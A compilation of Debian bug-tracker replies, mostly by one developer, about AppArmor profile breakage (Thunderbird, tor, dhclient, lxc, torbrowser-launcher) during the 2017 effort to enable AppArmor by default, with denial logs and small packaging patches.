Bug#881460: apparmor-profiles: dhclient set to enforce prevents getting an IPv4 with DHCP

[intrigeri]

Hi,

Gabriel Filion:
> intrigeri:
> thanks for the super clear explanation for changing the status :)

:)

>> If you came across instructions that told you to enforce such profiles
>> and that did not point you to the aforementioned warning, then I'm
>> very sorry! I'll treat this as a RC bug. Please point me to that doc
>> and I'll fix it ASAP. Thanks in advance!

> fwiw I was following mainly the debian wiki pages about apparmor. I
> remember reading the advisory, but for some reason I didn't keep the
> information that "the profiles might not work with default
> configurations" when reading. probably some level of confusion on my part.

I see, I guess this is:
https://wiki.debian.org/AppArmor/HowToUse#Enable_.2F_install_more_profiles

IIRC I recently updated it to make the warning more visible and
clearer. It might that it used to be much less scary when you read
it initially.

>> The good news is that there is a dhclient profile available elsewhere,
>> that works way better on Debian: see #795467.

> ok I can see that it looks like the proposed profile for isc-dhcp-client
> is the one from ubuntu. still no reply from debian packagers about this
> though, two years later.

> what approach should we take here in order to get things going? do you
> think that having more feedback from ppl who use the profile
> successfully would help to get that merged in, or do you suspect it
> might just be lack of available time or interest from package maintainers?

I think the added value of shipping AppArmor profiles was pretty low
2 years ago, as AppArmor was not enabled by default. So I totally
understand maintainers treating it as very low priority.

This is being changed in testing/sid though. So I would go back to the
maintainers a couple months after AppArmor is enabled by default, and
our case will be much stronger then. But really, right now I'm not
into adding new profiles:  I'd rather polish the existing ones and
handle bug reports about them, to make the "enabling AppArmor by
default" experience as smooth as possible.

> also, maybe if we can get more ppl to test ubuntu's profile in debian,
> then they'd be willing to upstream it in apparmor?

That's a possibility. Or, we upstream it ourselves.

Cheers,
-- 
intrigeri

Bug#880078: apparmor: Bump pinned feature set to Linux 4.14's

[intrigeri]

Vincas Dargis:
> Could you elaborate how that feature pining works?

IIRC jjohansen explained this in more details (and more accurately) on
the AppArmor mailing list recently, but I'll sum up my understanding
which seems to be good enough for distro integrators.

Basically, the scope of the policy that is compiled, loaded into the
kernel, and applied is limited to the intersection of the feature set
supported by the kernel, and the feature set defined by the
features-files setting.

Rules that are not supported by the running kernel are ignored even if
they're explicitly listed via the features-file setting. In other
words, features-file caps the feature set, but it doesn't require the
kernel to support all listed features.

> If there's machine running RC7 and `features-files=` line is
> commented out, what that state actually means?

When no pinning is defined, the active feature set is the one of the
running kernel. In this example, you would have all features from
Linux 4.14-rc7 enabled. Note that I recommend using this combination
(recent kernel + no pinning) only for people like us, who want to
discover issues as early as possible, so we can fix them before they
hit Debian users. Enthusiastic users are of course welcome to do the
same if they wish to give a hand: they'll notice issues and report
bugs that we would not notice in other environments (yeah, CI and all
that).

Cheers,
-- 
intrigeri

Bug#877581: apparmor: Ensure Linux 4.14 does not break abstractions/nameservice

[intrigeri]

Hi!

Vincas Dargis:
> Since network mediation is reverted from 4.14 (sorry have no link to
> cite), is this still a blocker?

You're correct in that this task does not block the whole "enabling
AppArmor by default" plan anymore, since we have pinned the Linux 4.13
feature set and such pinning was "repaired" (with a revert of the
entire code that works fine… except when pinning is used) in 4.14.

This task still blocks #880078 though. Given socket mediation was
reverted, I believe the only new features that could break stuff once
we bump the pinned feature set to 4.14's are mount and signal mediation.

> Do we need to "sprint" for 4.14-possibly-introducing issues?

I'm not sure how urgently we should handle #880078 and (transitively)
#877581. I'd welcome your input about it on #880078, where I've
started discussing the pros & cons.

Cheers,
-- 
intrigeri

Bug#878040: tails-installer: Creates non-bootable USB sticks on current testing/sid

[intrigeri]

Control: tag -1 + fixed-upstream

intrigeri:
> So we're now only waiting for the tails-installer fixes to be released
> upstream

Done in 5.0.2, that's been packaged as 5.0.2+dfsg-0tails1 for Tails already.
I've tested it on Debian sid and it works fine for me.

> and then uploaded to Debian.

… so this is the only remaining step. Almost there, woohoo!

Ulrike, do you think you can take care of it before this package gets
auto-removed from testing (November 17)? Let me know if you need help:
I'll be super busy next week but I can probably sneak this in if needed.

For example, I could take care of cleaning up the new debian/changelog
entries, which seems to be the only not-100%-mechanical part of the
work needed to import the package into Debian in the case at hand.

Usually it would be good to refresh the packaging while we're at it
(Standards-Version & various issues spotted by Lintian) but given the
auto-removal deadline is approaching fast, let's please prioritize
uploading the new upstream release over such polishing :)

Cheers,
-- 
intrigeri

Bug#880953: thunderbird: upon startup apparmor denies mmap of python3.6

[intrigeri]

Control: forwarded -1 
https://gitlab.com/apparmor/apparmor-profiles/merge_requests/2

Hi Simon,

can you please review my MR upstream?

Cheers,
-- 
intrigeri

Bug#880953: thunderbird: upon startup apparmor denies mmap of python3.6

[intrigeri]

Control: tag -1 + upstream

Hi,

Philipp Kern:
> On 11/06/2017 09:46 AM, Philipp Kern wrote:
>> Whenever I start Thunderbird I get the following denial from AppArmor:
>> 
>> [  172.585316] audit: type=1400 audit(1509957761.626:72):
>> apparmor="DENIED" operation="file_mmap"
>> profile="thunderbird//lsb_release" name="/usr/bin/python3.6" pid=4268
>> comm="lsb_release" requested_mask="m" denied_mask="m" fsuid=1000 ouid=0
>> 
>> According to the profile python3.[0-9] is allowed to be read, but not
>> mapped, so it can't actually be executed.

> This is actually a pretty deep rabbit hole. You need to add all of dpkg
> and apt at this point, which would need an abstraction. I stopped after
> adding these: [...]

> And potentially more. A lot of implementation details now leak somewhere
> where they shouldn't leak to. (I suppose lsb_release would actually need
> its own profile in this case?)

Wow, indeed it's a deep rabbit hole.

Wondering what would be the drawback of simply denying execution of
lsb_release, I've investigated a bit. Apparently Thunderbird uses
lsb_release only to append information to crash reports sent upstream.
The crash reporter for Thunderbird is enabled since early 2017.
My understanding of the code is that if Thunderbird does not manage to
get information from lsb_release, it'll just skip that. I think the
lack of distro info makes such crash reports less valuable for
upstream developers, so I'll dismiss the "deny execution of
lsb_release" option.

Taking a step back, confining lsb_release strictly certainly did make
some sense when this profile generally denied execution of random
programs. But given the changes we've applied for #855346, special
casing lsb_release does not make any sense to me anymore: in the
current state of the upstream profile, essentially we treat
lsb_release as more dangerous than the union of
/{usr/local/,usr/,}bin/*. I don't think this is a reasonable
risk assessment.

So I'm going to submit a merge request upstream that drops the special
casing of lsb_release, which Thunderbird will then be allowed to
execute under sanitized_helper.

(At this point my top-priority in Debian is to avoid breaking stuff
with AppArmor. IMO improving policy to provide higher security value
comes later. If/when someone starts working on making the Thunderbird
profile stricter & more useful, I'll encourage them to look at the big
picture and check what attack vectors are worth addressing first.
I doubt lsb_release will be on that list.)

Cheers,
-- 
intrigeri

Bug#838817: Cannot reproduce

[intrigeri]

Control: tag -1 + pending

Hi,

here's how I managed to reproduce this bug on a sid system:

1. install torbrowser-launcher 0.1.9-1+deb8u1
2. upgrade torbrowser-launcher to 0.2.2-1
3. upgrade torbrowser-launcher to 0.2.8-4

This seems to fix the problem:

--- a/debian/torbrowser-launcher.maintscript
+++ b/debian/torbrowser-launcher.maintscript
@@ -1,2 +1,2 @@
-rm_conffile /etc/apparmor.d/torbrowser.start-tor-browser 0.2.1-2~ 
torbrowser-launcher
+rm_conffile /etc/apparmor.d/torbrowser.start-tor-browser 0.2.8-5~ 
torbrowser-launcher
 rm_conffile /etc/apparmor.d/usr.bin.torbrowser-launcher 0.2.8-4~ 
torbrowser-launcher

I'll upload with this change right away.

Cheers,
-- 
intrigeri

Bug#881460: apparmor-profiles: dhclient set to enforce prevents getting an IPv4 with DHCP

[intrigeri]

Control: severity -1 minor
Control: tag -1 + upstream

Dear Gabriel,

Gabriel Filion:
> Severity: critical
> Justification: breaks unrelated software

Let's sort this out first as there seems to be a misunderstanding.
IMO this bug is not RC because:

1. The profile this bug report is about is not enforced by default;
   it's not even shipped in /etc/apparmor.d. It takes 2 manual steps
   to enforce it, so thankfully, we're far from shipping a broken
   default configuration :)

2. This profile is shipped in a directory whose README says:

 The profiles in this directory are not turned on by default
 because they are not as mature as the profiles in
 /etc/apparmor.d/.

 In some cases, it is because the profile hasn't been updated to
 work with newer code; in other cases, it because any benefit
 provided by the profile is much less than the potential for
 causing problems.

 In short, feel free to try these profiles if you wish, but be
 aware that they may not work on default configurations, let alone
 your specific configuration.

If you came across instructions that told you to enforce such profiles
and that did not point you to the aforementioned warning, then I'm
very sorry! I'll treat this as a RC bug. Please point me to that doc
and I'll fix it ASAP. Thanks in advance!

> I've started using apparmor very recently,

Cool, thanks a lot :)

> and when I rebooted to activate the kernel part, I didn't notice the
> issue below.. but a couple reboots afterwards I couldn't obtain
> a DHCP address anymore for wired and wifi interfaces.

Thanks for reporting this. I'm sorry this profile broke an essential
part of your system. I'm not surprised though: to the best of my
knowledge, nobody is actively using this profile on, and maintaining
this profile for, Debian. Quite some paths in it don't match where
things are shipped in Debian. This is why we don't enable this profile
by default.

The good news is that there is a dhclient profile available elsewhere,
that works way better on Debian: see #795467.

The bad news is that the current situation is very confusing.
One might expect that Ubuntu, as the main contributor to AppArmor
upstream, would keep the upstream profile in sync' with what they are
shipping in their distro, but it's not the case currently; there are
probably historical reasons for it and I understand it may not be high
on the priority list at the moment since they have something that
works fine for them.

Ideally, someone would upstream the (upstream - Ubuntu profile) delta.
And then we can decide whether we ship it via isc-dhcp-client
(synchronizing it regularly from src:apparmor) or in the
apparmor-profiles package.

Cheers,
-- 
intrigeri

Bug#855522: [Pkg-privacy-maintainers] Bug#855522: torbrowser-launcher: torbrowser won't start because of apparmor

[intrigeri]

Control: tag -1 + moreinfo

Hi Georg,

Georg Faerber:
> This is still unfixed in unstable.

Interesting. A couple weeks ago I've tested this and didn't see
any problem.

This bug seems to be about the torbrowser.start-tor-browser profile,
that we stopped shipping a while ago, but apparently failed to remove
from systems upon upgrade. I think it's a duplicate of #838817. If you
can reproduce this bug because of an obsolete
torbrowser.start-tor-browser conffile left behind, then that's indeed
#838817. I've suggested a rather straightforward fix in #838817#31.

Else, if you can reproduce this bug *without* any obsolete
torbrowser.start-tor-browser conffile left behind, then I suspect
you're experiencing a different bug than this one, and then please
report it separately (with the corresponding denial logs).

Thanks!

Cheers,
-- 
intrigeri

Bug#849727: [Pkg-privacy-maintainers] Bug#849727: Adopting seahorse-nautilus?

[intrigeri]

Clément Hermann:
> Since there is no news for a while and seahorse-nautilus has been
> removed from testing, I'll resume work on this under the pkg-privacy
> umbrella.

Excellent, thanks!

> Carlos, feel free to jump in if you still want to work on this package!

Indeed, team-maintenance is more pleasant (having someone around to
ask for advice/opinions in nice) and produces higher-quality packages.

And Ulrike is committed to work on this package as well, at least
until the end of 2018Q1, so you folks have a dedicated sponsor to
upload your work already :)

Cheers,
-- 
intrigeri

Bug#880424: thunderbird: apparmor should allow the execution of the configured browser

[intrigeri]

Control: forwarded -1 https://bugs.launchpad.net/apparmor/+bug/1730220
Control: clone -1 -2
Control: retitle -2 thunderbird: apparmor should allow the execution of 
google-chrome-beta

Hi Philipp,

first of all, thanks for your report; I particularly appreciate that
you've put quite some thought into the problem and its various
potential long-term solutions :)

Philipp Kern:
> I turned on AppArmor and Thunderbird stopped opening links for me. dmesg
> has the following denial message:

>  [ 3795.153239] audit: type=1400 audit(1509283418.100:64):
>  apparmor="DENIED" operation="exec" profile="thunderbird"
>  name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
>  comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

I'm cloning a dedicated bug for this specific problem: it can
trivially be fixed without blocking on a solution to the general one.

> I think there needs to be some kind of defined way for browsers to be
> allowed to be executed.

I agree, see below.

> Literally the only browser Thunderbird should be able to execute is the
> one configured as the default, not some set of ancient and potentially
> exploitable other browsers (like some compiled against old webkit
> versions), looking at the current list in the abstraction.

I agree this would be ideal but:

 - While dynamic generation of ad-hoc strict AppArmor profiles is
   doable for services that run as root (e.g. that's what libvirt
   does), I'm not aware of any existing solution for non-root apps,
   and it looks like it would require lots of work, so let's not count
   on it.

 - I think this is better solved by a broker design i.e. the sandboxed
   app asks some privileged helper, outside the sandbox, to open
   a URL. This is certainly doable with AppArmor (iirc Ubuntu Phone
   and snaps have something like this) but I doubt it'll be nicely
   integrated soon and it requires the app to cooperate so that's not
   something we'll get in Thunderbird on the short term (see Simon's
   post on debian-devel@ about how it can be done for modern GTK/Glib
   apps).

 - Arguably it's the distro's responsibility to avoid shipping/leaving
   exploitable browsers around on users' systems.

> I suppose one way would be to always launch some kind of
> sensible-browser binary and let that call out to the default browser
> only.

Indeed, if Thunderbird was using xdg-open, sensible-browsers and
similar it would be much easier to come up with an AppArmor policy
that's better both in terms of security and UX. When working on this
1-2 years ago Ulrike noticed this isn't the case. I haven't checked
recently though. If we can't find a simpler solution I'm open to
checking with Mozilla why they do it their way.

> Another way would be to let browser packages ship a file that allows
> their execution and then the installed ones are automatically available
> to Thunderbird (or another browser-spawning program). In this case
> Chrome would need to start shipping such a file.

I think we can totaly do this: the #include directive can take
a directory (e.g. something.d) as an argument so for example
abstractions/ubuntu-browsers could include a .d directory where each
browser (e.g. google-chrome-beta) could drop its snippet.

Given the above, this is likely the only solution that would be
flexible enough for your needs, while being doable on the short term
without major changes.

I've started a discussion about this upstream:
https://bugs.launchpad.net/apparmor/+bug/1730220

Cheers,
-- 
intrigeri

Bug#880441: linux-image-4.13.0-1-amd64: silently enabled AppArmor breaks other programs

[intrigeri]

Ben Hutchings:
> Yes, I now understand this.  I'll add a Recommends: apparmor for the
> next upload so this broken configuration is less likely to occur.

Thanks!

Cheers,
-- 
intrigeri

Bug#879590: Making apparmor "Priority: standard"? [Was: Bug#879590: apparmor: Decide how we enable AppArmor by default]

[intrigeri]

Hi,

intrigeri:
> Cyril Brulebois:
>> intrigeri <intrig...@debian.org> (2017-10-25):
>>> I'm working on the last blockers towards starting the experiment I've
>>> proposed on debian-devel@ 2.5 months ago, i.e. enabling AppArmor by
>>> default for a while in testing/sid.

>> Does it make sense to have it installed everywhere, including in
>> chroots, containers, etc., or should it be mainly installed in d-i
>> installed systems?

> It makes sense in any kind of system that runs its own Linux kernel:

Update: the next upload of the linux-image packages will "Recommends:
apparmor"
(https://anonscm.debian.org/cgit/kernel/linux.git/commit/?h=sid=bd1e10f8bd85adf182f122417a843bf6ffbac80c)

… so it might be that we don't need "Priority: standard" in the end.

Cheers,
-- 
intrigeri

Bug#880425: thunderbird: logs spurious apparmor denial messages

[intrigeri]

Hi,

Carsten Schoenert:
> Am 05.11.2017 um 10:45 schrieb intrigeri:
> meeh, go ahaed.
> Looks fine from the technical side. As long as you put in tagging and
> closing information so gbp can pick up the bug number later for
> preparing changelog I'm more than happy. As I see actions on the BTS
> nevertheless I will ask back in case I have further questions.

:)

> I'm really happy you take some responsibility on the apparmor profile, I
> will mostly not have the time to also look at those bug reports while
> keep up the packaging up to the current needing.

No problem.

> We still need to think about some automatic testing of Thunderbird
> packages together with some extensions. Otherwise we will always hit
> some issues while bringing new ESR versions into the security-update
> like happen with 52.0 and the enigmail extension. But this is another thing.

Indeed.

It was fine to ship the profile in enforce mode as long as it was only
affecting users who had voluntarily enabled AppArmor, but I suspect
this won't work with a broader userbase: Thunderbird is simply too
popular for us to be allowed to break it.

And given how wide open the profile has to be in order to work with
a broad userbase (e.g. since we need to run basically arbitrary apps
to open attachments), it doesn't provide that much security anyway.
Frankly, it's the kind of apps for which Flatpak + Portals would be
much better suited than AppArmor.

So if we see too many issues and maintenance churn, let's disable the
profile by default.

Cheers,
-- 
intrigeri

Bug#880502: [pkg-apparmor] Bug#880502: lxc: cannot start container with kernel 4.13.10

[intrigeri]

Hi!

Sorry for the delay, I didn't expect AppArmor to be enabled in the
kernel a week ago (I thought I would coordinate this with Ben)
and I was busy with the Reproducible Builds summit this week.

Thanks Felix & Antonio for being on top of things. I'm glad the
immediate RC issue was fixed.

Felix Geyer:
> There are two issues:

> lxc expects mount mediation to be present in AppArmor. This isn't upstream 
> (yet) so it's missing
> from the Debian kernel too.

FYI mount mediation is upstream since some time in the 4.14 cycle.
We have it in Debian experimental (Linux 4.14.0-rc7).

But for now I've disabled it on Debian even when running Linux 4.14.
It'll be enabled at some point in the future, not sure when exactly
(#880078).

> More fundamentally lxc makes the assumption that the AppArmor userspace tools 
> are available if
> AppArmor is active in the kernel.
> When starting a container lxc detects that AppArmor is active and tries to 
> transition to a
> profile. This fails if the apparmor package hasn't been installed as lxc has 
> no way to load profiles.

I believe libvirt implements the exact same logic… minus the bug.
This might provide inspiration to whoever wants to fix this bug in
LXC :)

If these bugs are not tracked upstream yet: Felix, you seem to be the
one of us with the best understanding of the problem and you know
AppArmor pretty well, so perhaps you would be the best person to
report them?

Cheers,
-- 
intrigeri

Bug#880502: [pkg-apparmor] Bug#880502: [pkg-lxc-devel] Bug#880502: lxc: cannot start container with kernel 4.13.10

[intrigeri]

Hi,

Antonio Terceiro:
> The workaround that works is using the setting in the container
> configuration:

> lxc.aa_profile = unconfined

> with disables apparmor entirely.

> I have just uploaded lxc 1:2.0.9-4 setting this for all containers. This
> is not the greatest solution, but it's also not worse than the state of
> affairs before apparmor was enabled by default in the Debian kernel: it
> was already not possible to use lxc with apparmor in Debian.

Fully agreed: top priority is to ensure AppArmor doesn't break things,
so let's disable any profile that is not ready for prime time.

Adding AppArmor confinement where we had none previously can
come later.

Cheers,
-- 
intrigeri

Bug#880441: linux-image-4.13.0-1-amd64: silently enabled AppArmor breaks other programs

[intrigeri]

Hi,

Ben Hutchings:
> My understanding was that enabling AppArmor shouldn't do very much
> until a policy is loaded (which it won't be if you don't install the
> userland tools).  As you've found, that isn't entirely correct.

Let me clear a potential misunderstanding:

 - It *is* correct that the AppArmor LSM doesn't do very much if no
   policy is loaded, i.e. if the apparmor package is not installed.

 - The only report I've heard of so far of breakage caused by AppArmor
   being enabled in the kernel by default, on systems that have no
   AppArmor policy loaded, is #880490. That bug was not about AppArmor
   denying anything, but about systemd trying to switch to an AppArmor
   profile that was not loaded (precisely because the apparmor package
   was not installed). Thankfully that bug has been fixed very
   quickly. According to codesearch.debian.net it was the only
   instance of this problem. I'm sorry I didn't think of this corner
   case initially.

> Still, I'll bump this back to serious as I don't think we should let
> this into testing yet.

I think this does not apply anymore, now that the "unrelated" breakage
has been fixed, and the reasons behind it clarified. What do
you think?

Cheers,
-- 
intrigeri

Bug#879590: apparmor breaks all kinds of stuff

[intrigeri]

Hi,

Meta: this bug report is about deciding how we enable AppArmor by
default; if you want to follow-up on unrelated discussions or start
new ones, please do so in better suited places :)

Christoph Anton Mitterer:
> On Wed, 2017-11-01 at 07:40 +0100, intrigeri wrote:
>> Indeed, it would have been nice. Can you please report a bug against
>> src:linux about it?

> I already had:
> #880441

Thanks, I'll follow up there then (we don't need to have the same
discussion in two different places).

> Nov  1 00:30:23 heisenberg systemd[18635]: tor@default.service: Failed at 
> step APPARMOR spawning /usr/bin/tor: No such file or directory
> Nov 1 00:30:23 heisenberg kernel: [ 6315.674076] audit: type=1400
> audit(1509492623.442:7): apparmor="DENIED" operation="change_onexec" 
> info="label not
> found" error=-2 profile="unconfined" name="system_tor" pid=18635 comm="(tor)"

That's #880490, fixed in sid already.

> I'm just surprised that it denies anything at all, without having the
> policy packages installed (or vice versa, that it allows most things
> when enabled in the kernel).

It does *not* deny anything at all without having the apparmor package
installed: #880490 is not about AppArmor denying something, it's about
systemd trying to switch to an AppArmor profile that's not loaded,
precisely because the apparmor package is not installed.

> Apart from that:
> Was there already a broad discussion in Debian about which LSM to go
> for?

There's been an ongoing discussion on debian-devel@ since ~3 months.

Cheers,
-- 
intrigeri

Bug#880715: thunderbird: fails to lock gpg keyring for key import under apparmor

[intrigeri]

Control: tag -1 + upstream
Control: forwarded -1 
https://gitlab.com/apparmor/apparmor-profiles/merge_requests/1

Hi,

Philipp Kern:
> When trying to import a GPG key from the Enigmail per-message "Import
> Key" button I get AppArmor denials and the operation just hangs (with a
> pulsing progress bar - because it waits for the lock):

> [172877.352188] audit: type=1400 audit(1509791941.615:303384):
> apparmor="DENIED" operation="link" profile="thunderbird//gpg"
> name="/home/pkern/.gnupg/pubring.kbx.lock" pid=14200 comm="gpg2"
> requested_mask="l" denied_mask="l" fsuid=1000 ouid=1000
> target="/home/pkern/.gnupg/.#lk0x559de00c2e10.desktop.kern.pm.14200"

> Even after canceling the operation the denials continue until I kill the
> gpg2 process in the background.

Thanks! Reproduced, modulo I had to add a bunch of rules to the gpg
child profile before I even got to this point.

Submitted a MR upstream. Simon, could you please review it? (And while
you're at it, you might want to test other kinds of key imports, e.g
private keys.)

Cheers,
-- 
intrigeri

Bug#880532: thunderbird: tries to exec nvidia-modprobe which is denied by apparmor

[intrigeri]

Control: tag -1 + moreinfo

Hi Philipp & Simon,

Philipp Kern:
> I'm using thunderbird with apparmor enabled and I get the following deny
> with the proprietary nvidia driver installed and active once on every
> application startup:

> [37152.076369] audit: type=1400 audit(1509571965.982:138):
> apparmor="DENIED" operation="open" profile="thunderbird"
> name="/proc/modules" pid=15498 comm="thunderbird" requested_mask="r"
> denied_mask="r" fsuid=1000 ouid=0
> [37152.077458] audit: type=1400 audit(1509571965.983:139):
> apparmor="DENIED" operation="exec" profile="thunderbird"
> name="/usr/bin/nvidia-modprobe" pid=15501 comm="thunderbird"
> requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

Philipp, thanks for this report! Can you please:

1. add this line to usr.bin.thunderbird:

 #include 

2. sudo apparmor_parser -r /etc/apparmor.d/usr.bin.thunderbird

3. retry

?

If this works I'll submit a MR upstream about this and I expect Simon
will review it promptly :)

FWIW we had to fix a similar issues for Totem recently (#879900).
If more of these pop up we should consider including the nvidia
abstraction in some other abstraction that's itself commonly included
in affected GUI apps.

Cheers,
-- 
intrigeri

Bug#880425: thunderbird: logs spurious apparmor denial messages

[intrigeri]

Control: tag -1 + pending

intrigeri:
> Carsten, the updated profile lives there since upstream has moved
> from bzr@Launchpad to Git@GitLab:
> https://gitlab.com/apparmor/apparmor-profiles/blob/master/ubuntu/18.04/usr.bin.thunderbird

Actually I now have write access to Vcs-Git so I've updated it myself:
https://anonscm.debian.org/cgit/pkg-mozilla/thunderbird.git/commit/?id=d7febc8d0244c35f0e06c2132e68e1e8db6a549f

:)

Carsten, please let me know if I did something wrong, happy to adjust
my workflow to suit yours better.

Cheers,
-- 
intrigeri

Bug#880425: thunderbird: logs spurious apparmor denial messages

[intrigeri]

Control: forwarded -1 
https://code.launchpad.net/~sdeziel/apparmor-profiles/+git/apparmor-profiles/+merge/333081
Control: tag -1 + fixed-upstream

Simon Deziel:
> https://code.launchpad.net/~sdeziel/apparmor-profiles/+git/apparmor-profiles/+merge/333081

Thanks! This was reviewed and merged upstream.

Carsten, the updated profile lives there since upstream has moved
from bzr@Launchpad to Git@GitLab:
https://gitlab.com/apparmor/apparmor-profiles/blob/master/ubuntu/18.04/usr.bin.thunderbird

Cheers,
-- 
intrigeri

Bug#880490: tor: Does not start when the AppArmor LSM is enabled but the apparmor package is not installed

[intrigeri]

Hi Laurent,

Laurent Bigonville:
> My 2¢ here. Why is AppArmorProfile even needed here? Shouldn't apparmor 
> figureout
> itself that it need to migrate to the system_tor domain(?)?

Good question, glad you're asking! :)

It's technically doable to have an AppArmor profile that will be
applied to any /usr/bin/tor process automatically. This is actually
how AppArmor is used in the overwhelming majority of cases. But tor is
special in that it is commonly run in different ways:

 - as a system service (instances of tor@.service)
 - run directly by users, which is not so uncommon a use case here

It's not feasible to have a single AppArmor profile cover both cases:
we know what paths the system service will access 99% of the time,
but we cannot possibly guess how a tor run by the user manually
is configured.

IIRC this is why weasel chose this implementation and I fully concur.

Cheers,
-- 
intrigeri

Bug#880490: tor: Does not start when the AppArmor LSM is enabled but the apparmor package is not installed

[intrigeri]

Viktor Jägersküpper:
> I confirm that with this change tor starts normally without apparmor 
> installed.

Thanks a lot for testing & reporting back!

Bug#878040: tails-installer: Creates non-bootable USB sticks on current testing/sid

[intrigeri]

Hi,

intrig...@debian.org:
> But fixing legacy BIOS boot requires fixes in udisks2 and libblockdev
> which have been submitted to the corresponding projects already:

>  - https://github.com/storaged-project/udisks/pull/416
>  - https://github.com/storaged-project/libblockdev/pull/288

Both were merged, part of new upstream releases, and have landed
in sid.

So we're now only waiting for the tails-installer fixes to be released
upstream and then uploaded to Debian.

Cheers,
-- 
intrigeri

Bug#880425: thunderbird: logs spurious apparmor denial messages

[intrigeri]

Hi,

Simon Deziel:
> On 2017-10-31 08:32 AM, Philipp Kern wrote:
>> When I use Thunderbird I see a lot of these in the kernel log (probably
>> whenever I look at a signed and/or encrypted email):
>> 
>> [94784.485686] audit: type=1400 audit(1509453045.981:153):
>> apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg"
>> name="/usr/share/thunderbird/omni.ja" pid=4440 comm="gpg2"
>> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0

This means that Thunderbird has run gpg2 that inherited an open file
descriptor to omni.ja (AppArmor now mediates such inherited file
descriptors). But it does not imply that gpg2 has tried to access
omni.ja whatsoever.

>> I don't see an obvious degradation of the client. Even gpg-encrypted
>> mails get handled correctly by Enigmail. But I suppose some kind of rule
>> is missing to make the log lines go away?

Indeed.

> I'd be tempted to add a deny rule to silence it. Opinions?

Yes, please :)

You might need to add more than just the omni.ja rule, like I had to
do for torbrowser-launcher:
https://github.com/intrigeri/torbrowser-launcher/commit/d043788f590e8ff2da585e3512a0e596e7460ff8

Cheers!

Bug#880424: thunderbird: apparmor should allow the execution of the configured browser

[intrigeri]

Hi,

Philipp Kern:
> Note that this extends to generic URL handlers as well:

> [95946.493507] audit: type=1400 audit(1509454207.986:185):
> apparmor="DENIED" operation="exec" profile="thunderbird"
> name="/usr/bin/gobby-0.5" pid=6205 comm="thunderbird" requested_mask="x"
> denied_mask="x" fsuid=1000 ouid=0

> (From an infinote:// URL in an email.)

I think this is (technically, not in terms of UX) closer to #855346
which is fixed in the Vcs-Git already:
https://anonscm.debian.org/cgit/pkg-mozilla/thunderbird.git/tree/debian/apparmor/usr.bin.thunderbird

Cheers,
-- 
intrigeri

Bug#880490: tor: Does not start when the AppArmor LSM is enabled but the apparmor package is not installed

[intrigeri]

Package: tor
Version: 0.3.1.8-1
Severity: grave
Tags: patch
X-Debugs-Cc: pkg-appar...@lists.alioth.debian.org

Hi,

as reported on
https://lists.alioth.debian.org/pipermail/pkg-apparmor-team/2017-October/001895.html
Tor does not start when the AppArmor LSM is enabled (which is the
default in Linux on current sid) but the apparmor package is not
installed. This is by far the most common situation for testing/sid
users at the moment, hence RC severity. Installing the apparmor
package is enough to fix the problem.

This happens because the system_tor profile is not loaded in the
kernel yet.

There's an ongoing discussion about "how to get the apparmor package
installed everywhere relevant"; depending on the outcome of this
discussion, we may get a fix for this bug for free, but I don't think
we should block on this discussion for fixing the matter at hand.

So I propose we do this:

--- a/debian/systemd/tor@default.service
+++ b/debian/systemd/tor@default.service
@@ -20,7 +20,7 @@ Restart=on-failure
 LimitNOFILE=65536
 
 # Hardening
-AppArmorProfile=system_tor
+AppArmorProfile=-system_tor
 NoNewPrivileges=yes
 PrivateTmp=yes
 PrivateDevices=yes

This should avoid breaking the startup of the unit in case of such
problems with the AppArmor profile. Weasel, what do you think?

Cheers,
-- 
intrigeri

Bug#879590: apparmor breaks all kinds of stuff

[intrigeri]

intrigeri:
> Christoph Anton Mitterer:
>> All kinds of programs seem to fail now... e.g. tor won't start anymore,
>>  aptitude cannot download changelogs.

> Ouch! Sorry about that. May you please report dedicated bugs about
> these, attaching the AppArmor log denials?

Wrt. tor, someone else reported to us already, with enough info so
I've proposed a fix that you're welcome to test:
https://bugs.debian.org/880490

Wrt. aptitude, it's the first time I ever hear about aptitude being
affected by AppArmor so I'm eager to read your bug report :)

Bug#879590: apparmor breaks all kinds of stuff

[intrigeri]

Hi,

Christoph Anton Mitterer:
> First... shouldn't there have been at least some NEWS entry if
> something like this is enabled?

Indeed, it would have been nice. Can you please report a bug against
src:linux about it?

> All kinds of programs seem to fail now... e.g. tor won't start anymore,
>  aptitude cannot download changelogs.

Ouch! Sorry about that. May you please report dedicated bugs about
these, attaching the AppArmor log denials?

See https://wiki.debian.org/AppArmor/Reportbug

> Please undo (or at least tell users what happens and what they can do
> about it), until these issues are resolved.

Well, there's some kind of catch-22 here: apparently enabling AppArmor
by default gives it enough exposure so we can actually learn about
these issues in the first place. If this hadn't been done, we would
never have heard about the problems you're referring to, and thus
there would have been little chance they ever get solved.

Cheers,
-- 
intrigeri

Bug#879900: apparmor-profiles-extra: Totem segfaults when apparmor profile is enforced

[intrigeri]

Hi,

Jason Cohen:
> I am seeing the same behavior in Stretch

I'm not surprised. It's very likely that a number of the AppArmor
policy fixes that were pushed to testing/sid (in src:apparmor* at
least) since the Stretch release apply to Stretch as well. It would be
nice if someone identified them so we can prepare a Stretch update.
Such triaging is needed so that the proposed diff against Stretch is
as small as possible, which eases reviews by the Release Team and
decreases chances of introducing regressions. Would you be interested
in this?

Personally I'll treat this with low priority *for now*: I want to
focus my AppArmor time on the "enabling AppArmor by default in
Buster" experiment.

Thanks for flagging this bug as affecting 1.11!

Cheers,
-- 
intrigeri

Bug#871537: cups-daemon: Fails to delete a printer via http://localhost:631 (AppArmor-related?)

[intrigeri]

Hi Michael,

do you need more time to test the proposed fix, or should we find
someone else to do it?

Cheers,
-- 
intrigeri

Bug#880381: apparmor profile breaks xul-ext-exteditor

[intrigeri]

Control: tag -1 + moreinfo

Hi,

Carsten Schoenert:
> Hello intrigeri, hello Simon,
> On Tue, Oct 31, 2017 at 02:49:27AM +0100, W. Martin Borgert wrote:
>> Package: thunderbird
>> Version: 1:52.4.0-1
>> 
>> It seems, that apparmor prevents using an external editor with
>> Thunderbird. With apparmor, no external editor starts, nor is
>> there any warning or error message to the user. If I
>> "aa-disable usr.bin.thunderbird", it works fine.
>> 
>> I assume, that Thunderbird must be allowed to execute external
>> programs under /usr/bin/, so that /usr/bin/emacs or other user
>> defined editors can be used.

> I forward this issue to you both as I'm still no apparmor expert and
> need your help to solve such problems.Could to have a look at this?

